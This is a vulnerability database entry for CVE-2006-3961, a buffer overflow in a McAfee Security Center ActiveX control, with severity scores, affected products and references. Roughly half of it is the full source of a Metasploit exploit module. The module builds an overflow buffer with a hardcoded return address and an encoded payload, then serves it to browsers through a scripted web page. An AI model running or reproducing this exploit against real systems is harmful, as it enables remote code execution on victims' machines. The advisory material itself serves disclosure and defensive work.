CVE-2006-3961 : Detail

CVE-2006-3961

Overflow
82.77%V3
Network
2006-08-01
19h00 +00:00
2018-10-17
18h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Buffer overflow in McSubMgr ActiveX control (mcsubmgr.dll) in McAfee Security Center 6.0.23 for Internet Security Suite 2006, Wireless Home Network Security, Personal Firewall Plus, VirusScan, Privacy Service, SpamKiller, AntiSpyware, and QuickClean allows remote user-assisted attackers to execute arbitrary commands via long string parameters, which are later used in vsprintf.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 16510

Publication date : 2010-07-02 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: mcafee_mcsubmgr_vsprintf.rb 9669 2010-07-03 03:13:45Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'McAfee Subscription Manager Stack Buffer Overflow', 'Description' => %q{ This module exploits a flaw in the McAfee Subscription Manager ActiveX control. Due to an unsafe use of vsprintf, it is possible to trigger a stack buffer overflow by passing a large string to one of the COM-exposed routines, such as IsAppExpired. This vulnerability was discovered by Karl Lynn of eEye. }, 'License' => MSF_LICENSE, 'Author' => [ 'skape', ], 'Version' => '$Revision: 9669 $', 'References' => [ [ 'CVE', '2006-3961'], [ 'OSVDB', '27698'], [ 'BID', '19265'], [ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2006-August/048565.html'], ], 'Payload' => { 'Space' => 1014, 'MaxNops' => 0, 'BadChars' => "\x00\x09\x0a\x0d'\\" + Rex::Text::UpperAlpha + Rex::Text::HighAscii, 'EncoderType' => Msf::Encoder::Type::NonUpperUtf8Safe, 'EncoderOptions' => { 'BufferOffset' => 0x8 } }, 'Targets' => [ # Target 0: Automatic [ 'Windows XP SP0/SP1', { 'Platform' => 'win', 'Rets' => [ 0x7605122f, # XP SP0/SP1 shell32.dll: jmp esp #0x773f346a # XP SP2 comctl32.dll: jmp esp ] }, ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 01 2006')) end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Pick the right target case request['User-Agent'] when /Windows NT 5.1/ ret = target['Rets'][0] else print_error("Unsupported target: #{request['User-Agent']}") cli.send_response(create_response(404, 'File not found')) return end # Build out our overflow buffer buf = rand_text(2972, payload_badchars) + [ ret ].pack('V') + "\x60" + # pusha "\x6a" + rand_char + # push byte 0x1 "\x6a" + rand_char + # push byte 0x1 "\x6a" + rand_char + # push byte 0x1 "\x61" + # popa p.encoded # Generate random variable names vname = rand_text_alpha(rand(100) + 1) strname = rand_text_alpha(rand(100) + 1) # Build out the message content = "<html>" + "<object classid='clsid:9BE8D7B2-329C-442A-A4AC-ABA9D7572602' id='#{vname}'></object>" + "<script language='javascript'>\n" + "var #{vname} = document.getElementById('#{vname}');\n" + "var #{strname} = new String('#{buf}');\n" + "#{vname}.IsAppExpired(#{strname}, #{strname}, #{strname});\n" + "</script>" + "</html>" print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end

Products Mentioned

Configuraton 0

Mcafee>>Antispyware >> Version 2005

Mcafee>>Antispyware >> Version 2006

Mcafee>>Internet_security_suite >> Version 2004

    Mcafee>>Internet_security_suite >> Version 2005

      Mcafee>>Internet_security_suite >> Version 2006

        Mcafee>>Personal_firewall_plus >> Version 2004

          Mcafee>>Personal_firewall_plus >> Version 2005

            Mcafee>>Personal_firewall_plus >> Version 2006

              Mcafee>>Privacy_service >> Version 2004

              Mcafee>>Privacy_service >> Version 2005

              Mcafee>>Privacy_service >> Version 2006

              Mcafee>>Quickclean >> Version 2004

              Mcafee>>Quickclean >> Version 2005

              Mcafee>>Quickclean >> Version 2006

              Mcafee>>Security_center >> Version 4.3

              Mcafee>>Security_center >> Version 6.0

              Mcafee>>Security_center >> Version 6.0.22

              Mcafee>>Security_center >> Version 6.0.23

              Mcafee>>Spamkiller >> Version 5.0

              Mcafee>>Spamkiller >> Version 6.0

              Mcafee>>Spamkiller >> Version 7.0

              Mcafee>>Virusscan >> Version 2004

                Mcafee>>Virusscan >> Version 2005

                  Mcafee>>Virusscan >> Version 2006

                    Mcafee>>Wireless_home_network_security >> Version 2006

                    References

                    http://www.securityfocus.com/bid/19265
                    Tags : vdb-entry, x_refsource_BID
                    http://securitytracker.com/id?1016614
                    Tags : vdb-entry, x_refsource_SECTRACK
                    http://www.osvdb.org/27698
                    Tags : vdb-entry, x_refsource_OSVDB
                    http://www.vupen.com/english/advisories/2006/3096
                    Tags : vdb-entry, x_refsource_VUPEN
                    http://secunia.com/advisories/21264
                    Tags : third-party-advisory, x_refsource_SECUNIA
                    http://www.kb.cert.org/vuls/id/481212
                    Tags : third-party-advisory, x_refsource_CERT-VN